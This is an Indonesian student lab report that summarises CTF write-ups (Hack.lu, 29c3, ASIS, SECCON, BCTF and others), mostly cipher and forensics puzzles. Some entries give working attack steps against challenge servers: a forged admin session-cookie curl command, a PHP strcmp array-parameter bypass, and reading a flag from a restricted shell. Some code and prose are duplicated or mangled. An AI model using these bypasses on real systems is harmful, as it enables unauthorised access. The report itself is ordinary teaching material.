LAPORAN TUGAS AKHIR PRAKTIKUM JARINGAN KOMPUTER “RANGKUMAN WRITE UP CTF TIME”

Problem - UNIVERSITAS NEGERI MALANG FAKULTAS TEKNIK JURUSAN TEKNIK ELEKTRO PROGRAM STUDI TEKNIK INFORMATIKA November 2016 - LAPORAN TUGAS AKHIR PRAKTIKUM JARINGAN KOMPUTER “RANGKUMAN WRITE UP CTF TIME”

===

Problem

Zombie memiliki masalah komunikasi karena heterogenity, jadi mereka mendefinisikan komunikasi standart mereka. Sebagai manusia, kita harus mengetahui bagaimana mendekripsi pesan yang bertujuan untuk mengalahkan mereka. Beruntungnya, seseorang telah menemukan satu pesan enkripsi mereka

0x1be15dc 77676058612 03062372 676 0x9542 0x2546c9ec 02614610 0x3b3154e5a0a923ff

Solution

Dapat dilihat bahwa beberapa kata direpresenasikan dnegan 16-, 10- dan 8 digit angka. Ubah angka-angka tersebut sehingga tiap angka menjadi 36 digit. Hasil yang didapat

Setiap digit akan merepresentasikan digit (0-9) atau huruf besar (A-Z). Dapat diketahui setiap huruf besar adalah benar. Jadi coba cari kesesuaian antara digit dan huruf-huruf tersebut.

Dapat diasumsikan bahwa kata pertama adalah HELLO, sehingga

H - 17

E - 14 L - 21 O – 24 Jika ada kombinasi 2 huruf maka

10 12 12 14 28 28 Dan akan muncul ACCESS Sehingga

A - 10

C - 12

S – 28 Akhirnya setiap huruf diwakilkan sebuah angka 9 + i, dimana i adalah index dari huruf di alfabet.

Jadi seluruh pesannya adalah: HELLO

ZOMBIES HERE IS THE ACCESS FLAG WELOVEBRAINZ

Flag: WELOVEBRAINZ

Hack.lu CTF 2012

source: http://delogrand.blogspot.co.id/2012/10/hacklu-ctf-big-zombie-business-

writeup.html

Problem ini memiliki prompt password yang dilindungi menggunakan obfuscated javascript. Berikut ini adalah langkah-langkah menyelesaikan problem ini

Masuk pada halaman web kemudian masukkan password seperti yang diminta

Kemudian cek source code

Coba jalankan kode tersebut menggunakan JavaScript Deobfuscator dan akhirnya ditemukan fungsi yang kelihatannya sangat membantu

Masukkan dua baris ke javacript firebug coonsole dan akhirnya flag berhasil didapatkan

Flag do_you_still_like_javascript

29c3 CTF - pwsafe

source: http://blog.semekh.ir/post/backdoorCTF-2014-web100-1-writeup 51

Halaman website problem ini memperbolehkan untuk membuat user dan menggunakannya untuk mengakses halaman web. Informasi halaman web dapat disimpan. Dapat dilihat bahwa jika menjadi admin maka halaman web akan mengirimkan pesan “Access denied, only user admin has access”. Ketika menganalisa halaman web maka ditemukan session cookie yang sangat panjang yang diterima dari webserver. Cookie ini terdiri dari 3 hash md5 yang terpisah di dalam satu string. Ketika melihat hash tersebut, disadari bahwa md5 terbuat dari susunan berikut ini

[MD5][MD5(username)][MD5(user IP)] Idenya jika ingin masuk halaman admin maka cookienya harus menggunakan [MD5][MD5('admin')][MD5(admin IP)] Nilai md5 dari admin adalah 21232f297a57a5a743894a0e4a801fc3 , sekarang hanya dibutuhkan

IP dari admin yang akan lebih sulit untuk ditemukan. Tetapi dalam server terdapat halaman server status (http://94.45.252.238/server-status) yang memperlihatkan

036580/285/34514_0.084200000.00.072.42 1.2.3.4 127.0.0.1 GET /admin/ HTTP/1.1 Sehingga terlihat bahwa IP admin adalah, dengan menggunakan UP tersebut maka akan didapatkan

flag curl ­s ­b

"session=954a33ddafa959cf59247cd21b4cc16321232f297a57a5a743894a0e4a801fc3`echo ­n "1.2.3.4"|md5sum|awk '{printf $1}'`" http://94.45.252.238/

<tr><td colspan="2"><textarea name="content">You did it. 29C3_PleasePutAllYourPasswordsHereItIsGood Flag: 29C3_PleasePutAllYourPasswordsHereItIsGood

EBCTF Teaser 2013 – crypto100

source: http://www.blue-lotus.net/ebctf-2013-crypto-writeup/ 52

Problem ini menawarkan dua pesan yang telah terenkripsi dan satu kunci rahasia untuk salah satu pesan tersebut. Untuk mendapatkan flag maka harus berhasil mendekrip pesan yang satunya.

Pesan dibagi menjadi blok-blok sebesar 16 bytes, enkripsi yang digunakan adalah sha256 untuk mengenerate encryption cipher dan xor pesan untuk mendapatkan pesan enkripsi.

Sehingga jika didapatkan kunci pesan pertama yang digunakan untuk mengenkripsi pesan pada blok awal maka selanjutnya dapat dihitung atau dienkripsi.

Dengan menggunakan kunci rahasia yang telah diberikan, dapat dilakukan dekripsi pada salah satu pesan dan pesan tersebut adalah sebuah e-mail seperti berikut ini:

From: Vlugge Japie To: Baron van Neemweggen ** Subj: Weekly update Boss, Sorry, I failed to get my hands on the information you requested. Please don’t tell the bureau – I’ll have it next week, promise! Vlugge Japie</p> So it’s very likely the other message should also be an email, and if this is true, we can get the first 16 bytes of plain text: “From: Vlugge Jap”. Use xor, we can get the cipher: xor(cipher, “From: Vlugge Jap”)

Sehingga solusinya adalah dengan menggunakan skrip berikut ini

import hashlib, string, sys

def xor(a, b): l = min(len(a), len(b)) return ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(a[:l], b[:l])])

def h(x): x = hashlib.sha256(x).digest() x = xor(x[:16], x[16:]) return x

inp = open('msg002.enc').read() msg = inp.decode('base64') k = xor(msg[:16], 'From: Vlugge Jap')

out = '' for i in xrange(0, len(msg), 16):

out += xor(msg[i:i+16], k) k = h(k + str(len(msg)))

print out

ASIS CTF Finals 2013

source: https://github.com/BatmansKitchen/ctf-writeups/blob/master/2013-asis-

ctf/pcap.md

Dalam problem ini diberikan sebuah file pcap. Dari file tersebut kemudian dilakukan observasi sehingga mendapatkan informasi bahwa ada dua IP yang saling berkomunikasi yaitu 172.16.133.133 dan 172.16.133.149.

Di dalam observasi juga ditemukan traffic namun pada akhirnya hanya ada tiga kategori komunikasi yang relevan.

Pertama adalah TCP Stream 0 yang digunakan untuk melakukan chat diantara dua user dan sebaliknya. 172.16.133.149: hello

172.16.133.133: I need secret key 172.16.133.149: ok 172.16.133.149: secret key will be sent on 6 parts 172.16.133.149: secret key : part 1 is M)m5s6S 172.16.133.149: did you received part 1 of secret key? 172.16.133.133: yes please send part 2 172.16.133.149: part 2 of secret key is ^[>@# 172.16.133.133: I recieved part 2 172.16.133.133: ok. please send me the other parts too 172.16.133.149: part 3 of secret key is Q3+1 172.16.133.149: did you received part 3? 172.16.133.133: yes 172.16.133.149: are you ready to receive part 4? 172.16.133.133: yes, please send 172.16.133.149: part 4 is 0PD. 172.16.133.133: ok. i received part 4 172.16.133.133: Please send me part 5 172.16.133.149: ok 172.16.133.149: part 5 of secret key is KE#cy 172.16.133.133: I received part 5 172.16.133.149: part 6 of secret key is PsvqH 172.16.133.133: ok. I received all parts of secret key. 172.16.133.133: Thanx

File transfer HTTP, semua komunikasi ini adalah 172.16.133.133 meminta file dari 172.16.133.149. File yang direquest adalah file atau nama file yang sudah dilakukan hash md5. Sebagai contoh

GET /files/d33cf9e6230f3b8e5a0c91a0514ab476

Tambahan, organisasi ASIS selaku penyelenggara juga memberitahukan bahwa ada bug di dalam problem sehingga mereka lupa untuk memberikan dua file. Dua file tersebut adalah 053dc897d3e154dd5ed27c46b738850d dan 21eae902cf5b82c7b207e963a130856d.

HTTP juga melakukan download dari index page Apache dimana konten dari halaman index terkoresponden pada file tang telah di download pada HTTP file transfer sebelumnya. Menariknya, HTTP juga melakukan download dari index page Apache dimana konten dari halaman index terkoresponden pada file tang telah di download pada HTTP file transfer sebelumnya. Menariknya,

d33cf9e6230f3b8e5a0c91a0514ab476 24­May­2013 09:21:16 61440 e564f66f2cf3e974887ea85028a317c6 24­May­2013 09:21:22 61440 89799fdf064c77dad7923548140c18c5 24­May­2013 09:21:23 61440 f6fb802feded5924fff1749b11e44c9b 24­May­2013 09:21:26 61440 c68cc0718b8b85e62c8a671f7c81e80a 24­May­2013 09:21:33 58009 326f79adc7ee143dcbb4cb8891a92259 24­May­2013 09:21:20 61440 053dc897d3e154dd5ed27c46b738850d 24­May­2013 09:21:31 61440 2aa242d4dbcb9b6378229c514af79b05 24­May­2013 09:21:24 61440 21eae902cf5b82c7b207e963a130856d 24­May­2013 09:21:32 61440 7356949650ccadfe1fb3a80b0db683d1 24­May­2013 09:21:26 61440 5b6540cd89bbd12bf968e110b965a840 24­May­2013 09:21:19 61440 40f4d5abfcdb369eeb0ac072796b7f30 24­May­2013 09:21:30 61440 6afd1bbadfabc3da6f3b7265df75744f 24­May­2013 09:21:27 61440 57f18f111f47eb9f7b5cdf5bd45144b0 24­May­2013 09:21:17 61440 35639a4410f245791ce5d2945702c4dc 24­May­2013 09:21:29 61440 1e13be50f05092e2a4e79b321c8450d4 24­May­2013 09:21:18 61440 fe7fe85cb5a023310f251acc2993d62e 24­May­2013 09:21:25 61440 4b87fbafcd05a39da90d69943393f79d 24­May­2013 09:21:21 61440 189facdce68effbf99ab7263c8b87304 24­May­2013 09:21:28 61440 255029ecf7e1a35b368ed123e2955099 24­May­2013 09:21:20 61440

Analisa

Dapat diketahui

1. Satu file d33cf9e6230f3b8e5a0c91a0514ab476 memiliki angka ajaib dari 7zip archive. Namun tidak terdekompres dengan benar.

2. Satu file c68cc0718b8b85e62c8a671f7c81e80a memiliki ukuran file yang lebih kecil daripada file yang lain

Alasan dari semua file bisa menjadi bolk dari penyimpanan yang sangat besar dan file yang lebih kecil adalah tambahan blok di bagian akhir. Kemudian urutkan file tersebut berdasarkan tanggal modifikasi Date Last Modified Filename Filesize 09:21:16 24­May­2013 d33cf9e6230f3b8e5a0c91a0514ab476 61440 09:21:17 24­May­2013 57f18f111f47eb9f7b5cdf5bd45144b0 61440 09:21:18 24­May­2013 1e13be50f05092e2a4e79b321c8450d4 61440 09:21:19 24­May­2013 5b6540cd89bbd12bf968e110b965a840 61440 09:21:20 24­May­2013 255029ecf7e1a35b368ed123e2955099 61440 09:21:20 24­May­2013 326f79adc7ee143dcbb4cb8891a92259 61440 09:21:21 24­May­2013 4b87fbafcd05a39da90d69943393f79d 61440 09:21:22 24­May­2013 e564f66f2cf3e974887ea85028a317c6 61440 09:21:23 24­May­2013 89799fdf064c77dad7923548140c18c5 61440 09:21:24 24­May­2013 2aa242d4dbcb9b6378229c514af79b05 61440 09:21:25 24­May­2013 fe7fe85cb5a023310f251acc2993d62e 61440 09:21:26 24­May­2013 7356949650ccadfe1fb3a80b0db683d1 61440 09:21:26 24­May­2013 f6fb802feded5924fff1749b11e44c9b 61440 09:21:27 24­May­2013 6afd1bbadfabc3da6f3b7265df75744f 61440

09:21:28 24­May­2013 189facdce68effbf99ab7263c8b87304 61440 09:21:29 24­May­2013 35639a4410f245791ce5d2945702c4dc 61440 09:21:30 24­May­2013 40f4d5abfcdb369eeb0ac072796b7f30 61440 09:21:31 24­May­2013 053dc897d3e154dd5ed27c46b738850d 61440 09:21:32 24­May­2013 21eae902cf5b82c7b207e963a130856d 61440 09:21:33 24­May­2013 c68cc0718b8b85e62c8a671f7c81e80a 58009

Karena file terakhir memiliki ukuran file yang sedikit maka dilakukan ekstraksi dari HTTP transfer dan mencoba untuk mendekompres. Dari situlah digunakan key untuk rip. M)m5s6S^[>@#Q3+10PD.KE#cyPsvqH

Folder berhasil terdekompres dan berikut ini adalah gambar TIFF beserta flagnya

Flag ASIS_19f8c9dd916d8d73ba184227071debd4

Securinets CTF Quals 2015 - cookie

54

source: https://rezk2ll.wordpress.com/2015/03/24/securinets-quals-ctf-2015-cookies-

write-up/

Disable javascript kemudian reload halaman website sehingga fungsi enkripsi tidak bekerja dan cookie akan tetap. Setelah itu didapatkan flagnya

Flag NaiMuS_2OI5

Securinets CTF Quals 2015 – No choice

source: https://rezk2ll.wordpress.com/2015/03/24/securinets-quals-ctf-2015-crack1-

write-up/

Pada 0x004013EA biner akan memanggil fungsi scanf untuk mendapatkan input. Setelah itu pada 0x004013FF biner akan melakukan fungsi strcmp. Jadi hanya dengan melihat fungsi atau argumen yang melewati strcmp yang telah dimasukkan stack dapat ditemukan password yang benar.

Akan berubah menjadi angka 789101112131415123456

Sebenarnya angka tersebut adalah rangkaian dari 4 string dengan mengguunakan fungsi strcat 123456 7891011 12131415 numbers:

Dijalankan dan didapatkan pesan terakhirnya dan flag berhasil ditemukan

Flag numbers:789101112131415123456

Boston Key Party CTF 2015 – Northeastern Univ

source: http://capturetheswag.blogspot.co.id/2015/03/boston-key-party-2015-school- 56

bus-flag-3.html

Link pada deskripsi akan meredirect urlm, ketika source code dilihat maka akan menampilkan kode PHP sebagai berikut

Sekilas, rupanya flag adalah password halaman ini sendiri dan kode di atas memberikan flag sebelum mengetahui flag sebenarnya. Mungkin terdengar rumit, berikut ini adalah penjelasannya

Strcmp adalah pilihan terburuk yang digunakan untuk mevalidasi input user, terlebih lagi pada kasus ini ketika mengombinasikan dengan validasi longgar seperti == vs === maka fungsi ini akan mengembalikan nilai NULL atau 0. Pertama, berdasarkan dokumentasi PHP, kode strcmp adalah sebagai berikut

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal

Sehingga yang kurang dari hal ini adalah, strcmp akan mengembalikan nilai null atau 0 pada beberapa skenario dimana beberapa konversi menghasilkan sesuatu yang tidak terduga

Untuk dapat masuk dan mendapatkan flag maka digunakanlah Burpsuite yang dapat menginterupsi data dan memodifikasi request GET menjadi

username=a&password[]=0

SECCON 2015 - Nonogram

source: http://capturetheswag.blogspot.co.id/2015/12/seccon-2015-nonogram-300-

point.html

Problem ini adalah nonogram yaitu tipe puzzle angka dari Jepang. Isi box berdasarkan nomor pada baris dan kolom dan akhirnya akan tampil gambar. Implementasi nonogram pada seccon dapat dilihat pada gambar berikut ini

Untuk menyelesaikan puzzle ini digunakan bantuan nonogram solver berikut ini http://www.hakank.org/constraint_programming_blog/2010/11/google_cp_solver_a_much_faster_ nonogram_solver_using_defaultsearch.html

#!/usr/bin/python # ­*­ coding: utf­8 ­*­

import requests import re from itertools import izip import PIL from PIL import ImageFont,Image,ImageDraw import subprocess import sys from ortools.constraint_solver import pywrapcp

URL = 'http://qrlogic.pwn.seccon.jp:10080/game/'

# # Make a transition (automaton) list of tuples from a # single pattern, e.g. [3,2,1] # def make_transition_tuples(pattern):

p_len = len(pattern) num_states = p_len + sum(pattern)

tuples = []

# this is for handling 0­clues. It generates # just the minimal state if num_states == 0:

tuples.append((1, 0, 1)) return (tuples, 1)

# convert pattern to a 0/1 pattern for easy handling of # the states tmp = [0] c=0 for pattern_index in range(p_len):

tmp.extend([1] * pattern[pattern_index]) tmp.append(0)

for i in range(num_states): state = i + 1 if tmp[i] == 0:

tuples.append((state, 0, state)) tuples.append((state, 1, state + 1))

else: if i < num_states ­ 1: if tmp[i + 1] == 1: tuples.append((state, 1, state + 1)) else: tuples.append((state, 0, state + 1)) tuples.append((num_states, 0, num_states)) return (tuples, num_states)

# # check each rule by creating an automaton and transition constraint. # def check_rule(rules, y):

cleaned_rule = [rules[i] for i in range(len(rules)) if rules[i] > 0] (transition_tuples, last_state) = make_transition_tuples(cleaned_rule)

initial_state = 1 accepting_states = [last_state]

solver = y[0].solver() solver.Add(solver.TransitionConstraint(y,

transition_tuples, initial_state, accepting_states))

def silly(rows, row_rule_len, row_rules, cols, col_rule_len, col_rules): font = ImageFont.truetype('clacon.ttf') img = Image.new("RGBA", (300,1500),(255,255,255)) draw = ImageDraw.Draw(img) y_text = 8

# Create the solver. solver = pywrapcp.Solver('Nonogram')

# # variables # board = {} for i in range(rows):

for j in range(cols): board[i, j] = solver.IntVar(0, 1, 'board[%i, %i]' % (i, j))

board_flat = [board[i, j] for i in range(rows) for j in range(cols)]

# Flattened board for labeling. # This labeling was inspired by a suggestion from # Pascal Van Hentenryck about my (hakank's) Comet # nonogram model. board_label = [] if rows * row_rule_len < cols * col_rule_len:

for i in range(rows): for j in range(cols): board_label.append(board[i, j]) else: for j in range(cols): for i in range(rows): board_label.append(board[i, j])

# # constraints # for i in range(rows):

check_rule(row_rules[i], [board[i, j] for j in range(cols)])

for j in range(cols): check_rule(col_rules[j], [board[i, j] for i in range(rows)])

# # solution and search # parameters = pywrapcp.DefaultPhaseParameters() parameters.heuristic_period = 200000

db = solver.DefaultPhase(board_label, parameters)

solver.NewSearch(db)

num_solutions = 0 while solver.NextSolution():

num_solutions += 1 for i in range(rows):

row = [board[i, j].Value() for j in range(cols)] row_pres = [] for j in row:

if j == 1: row_pres.append('█') else: row_pres.append(' ') outline = ''.join(row_pres) outline = unicode(outline,"utf­8") width, height = font.getsize(outline) draw.text((0,y_text),outline,(0,0,0),font=font) y_text += height draw = ImageDraw.Draw(img) if j == 1: row_pres.append('█') else: row_pres.append(' ') outline = ''.join(row_pres) outline = unicode(outline,"utf­8") width, height = font.getsize(outline) draw.text((0,y_text),outline,(0,0,0),font=font) y_text += height draw = ImageDraw.Draw(img)

if num_solutions >= 6: break

solver.EndSearch() img = img.resize((700,2000)) img.show()

def mainloop(answer):

if answer: print "[*] Posting result: " + answer payload = { 'ans' : answer } r = s.post(URL, data=payload)

else: print "[*] Using GET Method to get first challenge..." r = s.get(URL)

toprow = [] firstcolumn = []

for line in r.content.splitlines(): if 'Stage:' in line: thestage = line.split(" ")[1] print "[*] Stage: " + thestage + " / 30"

if '<th class="cols">' in line: headerblocks = line.split("</th>") p = re.compile("<span>(.*?)</span>") for block in headerblocks:

columnnums = [] if '<th class="rows">' in block:

break

subblocks = block.split("<br />") for subblock in subblocks:

m = p.search(subblock) if m:

columnnums.append(int(m.group(1),10))

if len(columnnums) > 0: toprow.append(columnnums)

if '<th class="rows">' in line: if '<th class="cols">' in line: line = line.split('<th class="rows">')[1]

headerblocks = line.split("</th>") p = re.compile("<span>(.*?)</span>") for block in headerblocks:

columnnums = [] subblocks = block.split(" ") for subblock in subblocks:

m = p.search(subblock) if m:

columnnums.append(int(m.group(1),10))

if len(columnnums) > 0: if len(columnnums) > 0:

# hacked together since the Google CP engine needs more than the old engine rulelen = 0 for x in toprow:

if len(x) > rulelen:

rulelen = len(x)

# zero pad the rules for x in toprow:

while len(x) < rulelen: x.insert(0,0)

rulelen2 = 0 for x in firstcolumn:

if len(x) > rulelen2:

rulelen2 = len(x)

# zero pad the rules for x in firstcolumn:

while len(x) < rulelen2: x.insert(0,0)

silly(len(firstcolumn), rulelen, firstcolumn, len(toprow), rulelen2, toprow)

s = requests.Session() ans = ""

# super ugly while(1):

mainloop(ans)

try: thedata

subprocess.check_output(["zbarimg ­q /tmp/tmp*"],shell=True).split(":")[1].strip().splitlines()[0] except: thedata = ""

print "[*] Decoded QR: " + thedata

if thedata == "": # maybe try and scan it on your phone or something :P ans = raw_input("Enter QR Code result> ")

else: ans = thedata

try: subprocess.check_output(["killall","­9","display"]) except: pass

Ketika program dirun output yang dihasilkan adalah

# ./pgame2.py [*] Using GET Method to get first challenge... [*] Stage: 1 / 30 [02:14:26] src/constraint_solver/default_search.cc:1307: Init impact based search phase on 441 variables, initialization splits = 100, heuristic_period = 200000, run_all_heuristics = 1, restart_log_size = ­1 [02:14:26] src/constraint_solver/default_search.cc:471: ­ initial log2(SearchSpace) = 50 [02:14:26] src/constraint_solver/default_search.cc:526: ­ init done, time = 2 ms, 14 values removed, log2(SearchSpace) = 36

[*] Decoded QR: JkhM3JiP6dU Killed [*] Posting result: JkhM3JiP6dU [*] Stage: 2 / 30 [02:14:27] src/constraint_solver/default_search.cc:1307: Init impact based search phase on 441 variables, initialization splits = 100, heuristic_period = 200000, run_all_heuristics = 1, restart_log_size = ­1 [02:14:27] src/constraint_solver/default_search.cc:471: ­ initial log2(SearchSpace) = 26 [02:14:27] src/constraint_solver/default_search.cc:526: ­ init done, time = 0 ms, 2 values removed, log2(SearchSpace) = 24 [*] Decoded QR: yUNXAQa1421B Killed [*] Posting result: yUNXAQa1421B [*] Stage: 3 / 30 [02:14:28] src/constraint_solver/default_search.cc:1307: Init impact based search phase on 441 variables, initialization splits = 100, heuristic_period = 200000, run_all_heuristics = 1, restart_log_size = ­1 [02:14:28] src/constraint_solver/default_search.cc:471: ­ initial log2(SearchSpace) = 31 [02:14:28] src/constraint_solver/default_search.cc:526: ­ init done, time = 0 ms, 3 values removed, log2(SearchSpace) = 28 [*] Decoded QR: fHOFYusdRKYlN [*] Posting result: fHOFYusdRKYlN Killed [*] Stage: 4 / 30 [02:14:28] src/constraint_solver/default_search.cc:1307: Init impact based search phase on 441 variables, initialization splits = 100, heuristic_period = 200000, run_all_heuristics = 1, restart_log_size = ­1 [02:14:28] src/constraint_solver/default_search.cc:471: ­ initial log2(SearchSpace) = 46 [02:14:28] src/constraint_solver/default_search.cc:526: ­ init done, time = 1 ms, 1 values removed, log2(SearchSpace) = 45 [*] Decoded QR: eQS2SwyUa56wWN [*] Posting result: eQS2SwyUa56wWN Killed [*] Stage: 5 / 30 [*] Decoded QR: k94Lgdg4lEtnezi [*] Posting result: k94Lgdg4lEtnezi Killed ... [*] Stage: 29 / 30 [*] Decoded QR: oELkD87acQsH299lL4ajOgUPqh0dy5LW7g474S0 [*] Posting result: oELkD87acQsH299lL4ajOgUPqh0dy5LW7g474S0 Killed [*] Stage: 30 / 30 [02:20:43] src/constraint_solver/default_search.cc:1307: Init impact based search phase on 1089 variables, initialization splits = 100, heuristic_period = 200000, run_all_heuristics = 1, restart_log_size = ­1 [02:20:43] src/constraint_solver/default_search.cc:471: ­ initial log2(SearchSpace) = 79 [02:20:43] src/constraint_solver/default_search.cc:526: ­ init done, time = 2 ms, 11 values removed, log2(SearchSpace) = 68 [*] Decoded QR: SECCON{YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN}

Flag YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN

School CTF 2015 – Awesome web

source: https://en.internetwache.org/school-ctf-2015-writeups-06-11-2015/ 58

Setelah menyimpan kunci rahasia atau private admin, langkah selanjutnya adalah mengkoneksikan ke port SSH ssh ­v ­p 15026 ­i /tmp/admin.key ­F /dev/null admin@sibears.ru

Kemudian simple shell akan menyapa seperti berikut ini admin:~$ ls flag.txt admin:~$ ?

cd clear echo exit help history ll lpath ls lsudo

Flag dapat dilihat dan ditemukan namun command yang dapat dilakukan hanya terbatas. Berikut ini adalah command atau perintah yang digunakan untuk mendapatkan flag admin:~$ echo "$(cat flag.txt)"

4dm1n_1s_1mp0r74nt_m^^mk3y

Flag 4dm1n_1s_1mp0r74nt_m^^mk3y

School CTF 2015 – Lazy Cryptanalyst

source: https://en.internetwache.org/school-ctf-2015-writeups-06-11-2015/ 59

Description

Looks like I'm too lazy to complete it. >_< Can you help me a little? bsxz xz om rxuvi. bsiri qri oqym gbsirz vxji xb, whb bsxz gyi xz oxyi. om rxuvi xz om wizb urxiye. xb xz om vxui. x ohzb oqzbir xb qz x ohzb oqzbir om vxui. fxbsghb oi, om rxuvi xz hzivizz. fxbsghb om rxuvi, x qo hzivizz. x ohzb uxri om rxuvi brhi. x ohzb zsggb zbrqxlsbir bsqy om iyiom, fsg xz brmxyl bg jxvv oi. x ohzb zsggb sxo wiugri si zsggbz oi. x fxvv. wiugri lge x zfiqr bsxz kriie: om rxuvi qye omzivu qri eiuiyeirz gu om kghybrm, fi qri bsi oqzbirz gu ghr iyiom, fi qri bsi zqpxgrz gu om vxui. zg wi xb, hybxv bsiri xz yg iyiom, whb ciqki. uvql xz q eqm fxbsghb wvgge xz vxji q eqm fxbsghb zhyzsxyi. qoiy.

Solution

Untuk menyelesaikan problem ini dibuatlah sebuah script dengan menggunakan bahasa pemrograman python yang berfungsi untuk mensubstitusikan karakter

text = "bsxz [....] qoiy." newtext = "" switch = { 'b':'t',

's':'h', 'x':'i', 'z':'s', 'u':'f', 'm':'y', 'o':'m', 'i':'e', 'q':'a', 'g':'o', 'v': 'l', 'h':'u', 'f': 'w', 'y': 'n', 'j':'k', 'w': 'b', 'e':'d', 'l':'g' }

for char in text: if char in switch: char = switch[char] newtext += char print(newtext)

Flag a day without blood is like a day without sunshine

School CTF 2015 – Highly proffesional

source: https://en.internetwache.org/school-ctf-2015-writeups-06-11-2015/ 60

Description

A big computer security company needs a highly qualified recon expert. Think you're the one? If so you just have to find out a name of the company owner. The name is your interview pass. Flag format: firstname_lastname, e.g. john_snow

Solution

Untuk menyelesaikan problem ini, digunakanlah google reverse image search untuk menemukan apakah gambar tersebut berkaitan dengan hacker serie yaitu Mr Robot. Dengan melakukan pencarian google masuk pada halaman website wiki yang menampilkan daftar 3 orang karyawan. Nama salah satu karyawan tersebut adalah flag

Flag Gideon_Goddard

BCTF 2016 – special RSA

61

source: https://cryptsec.wordpress.com/2016/03/21/bctf-2016-write-up-special-rsa-

crypto-200/

Problem

Diberikan problem berikut ini While studying and learning RSA, I knew a new form of encryption/decryption with

the same safety as RSA.

I encrypted msg.txt and got msg.enc as an example for you.

$ python special_rsa.py enc msg.txt msg.enc

Can you recover flag.txt from flag.enc?

special_rsa.zip.f6e85b8922b0016d64b1d006529819de

Solution

File yang diberikan pada problem ini adalah special_rsa.zip.f6e85b8922b0016d64b1d006529819de https://github.com/yanapermana/ctf-2016/tree/master/bctf/crypto/special-rsa yang didalamnya berisi flag.enc

special_rsa.py msg.enc msg.txt

Tujuan dari problem ini adalah untuk mendekrip file flag.enc dengan menggunakan kunci tersembunyi. Setelah membaca dan mengetahui proses enkripsi dan dekripsi pada file special_rsa.py dibuatlah rumus sederhana untuk menemukan keynya

Berikut ini adalah solv.sage

N= 2392741101402069577293491676495366164131014848097705664525509819249174035652524067590628570051635 7578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044 5704934575674208747413571865964257536674552668704021545524398996644464136327167476448548975519407 7751252204490713286490564421265538722330241089687108075176822409176093420991798421358551351059761 9708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513 1621292233564676025080953565844055553290961599179573898343810181373780155937557674506754413319986 83799788355179363368220408879117131L

c1 = 1454899738089726523977888482538130110996551898966180809068895223238109172676146495957294338302442 8028270717629953894592890859128818839328499002950828491521254480795364789013196240119403187073307 5585984967138324357097419970561178318603702271556331690196655643926495283069868269608294101203489 1358659219973273093325988046922972414988738000562732175284348956498435870801330052464054543770377 1424168108213045567568595093421366224818609501318783680497763353618110184078118456368631056649526 4337304089769880146783912050552987820611285680561638940103972453014256762321262678746567102568384 57728944370612289985071385621160886 c2 = 1279394279511003831972453187556869350746932717608595416403472872751116483333510175515351403025615 2878364664079056565385331901196541015393609751624971554016671160730478932343949538202167508319292

m1 = 8246074182642091125578311828374843698994233243811347691229334829218700728624047916518503687366611 5955620990394114306629686668470866597212316231989950177584247960918102598846533325761361281449587 5132784474699126466700735951818136352293443067665523688048955009385252480130461232237354229628196 2196795304499711006801211783005857297362930338978872451934860435597545642219213551685973208209873 6239096292783211814850109644606522986900587470902983123652306717237908509985419566643768208205707 0927250033096620557889869039670669502400197072786409143651820241416691902041589276461705597848899 6164642229582717493375419993187360 m2 = 1557505145385852175310846206372375098638609306776394831661215794619083552733264120183706295101222 7815568418309166473080588354562426066694924364886916408150576082667797274000661726279871971377438 3628294025296828254712998618148294635106592585860207322283512582915279658229770489547205589738409 5673137732251616880937364049422712999887116708958968979602445850170570477910915276237366054268488 0052489213039920383757930855300338529058000330103359636123251274293258

r1 = 1290067619162043036042711764185954751683881359633161616676075692111546693276699047947537338432463 4210232168544745677888398849094363202992662466063289599443 r2 = 7718975159402389617924543100113967512280131630286624078102368166185443466262861344357647019797762 407935675150925250503475336639811981984126529557679881059

_, a, b = xgcd(r1, r2) k = pow((c1/m1 % N), a, N) * pow((c2/m2 % N), b, N) print k

Sehingga didapatkan The key is 1759717765420958225905954052742586682712713663601405787766125822769665670820803 7298081131014621739958593821471292876155952561486611382155146784222158843267688 5027725038849513527080849158072296957428701767142294778752742980766436072183367 444762212399986777124093501619273513421803177347181063254421492621011961

Setelah mendapatkan key, proses dekrip file flag.enc akan mudah

Flag BCTF{q0000000000b3333333333-ju57-w0n-pwn20wn!!!!!!!!!!!!}

PlaidCTF 2014 - twenty

source: https://ucs.fbi.h-da.de/writeup-plaidctf-2014-twenty/ 62

Task

It’s so far in the past, computers haven’t even been imagined, let alone used. But somehow The Plague has already been here, building an evil army of hackers. Can you find his secret message

Solution

Langkah pertama yang dilakukan adalah membuka file pesan rahasia dan menganalisa struktur hurufnya. fvoxoxfvwdepagxmwxfpukleofxhwevefuygzepfvexwfvufgeyfryedojhwffoyhxcwgml xeylawfxfurwfvoxecfezfvwbecpfpeejuygoyfefvwxfpwwfxojumwuxfuffvwawuxfleca

a zubwjwoyfvwyepfvwuxfhwfjlopwckaohvfjlzopwoaahevupgwpfvuywjoywjdwyfufjup ouvbuaajwuaoupkecygjwoyfvwuxxdofvyeacmwbvuzoyhlecpwzcbroyhdofvfvwgcg wdveheffvwrwlxfelecpxuzwuygfvexwfvufbuyfgempoyhxcofxbplfelecpcybawxujfex wffawgoxkcfwxfvechvflecgfubrawfvoxdofvuaoffawjepwfubfmcffvwyuhuoyzcghwku brwpxogeyfryediubroxvwgufwupwswplfojwofvoyrezaorxuyhmcfxvofjuyfvwlpwub epkepufoeyuygojukwpxeyozobufoeyezzpwwgejzepuaaleczoaagebrwfxaorwfvufxub eybwkfzepwohyfeluaadvoawaudlwpxjcggldufwpuygfpexxfuaaecfezmcxoywxxoxiu oazepjwuyglecpwxcoyhjwbosoaalwnvomoffvoxoyfvwbecpfpeejheeygeofogupwlec beyhpufcaufoeyxfvwzauhoxxoybwywdbplkfejohvfvuswyxumubrgeepxocxweagbp lkfe

Membuat diagram distribusi frekuensi tiap huruf dari cipher text. Kemudian mencari trigram letter atau huruf 3 yang sering muncul

Dengan metode ini beberapa tool seperti Cryptotool dan hangman dapat melakukan dekripsi cipher text.

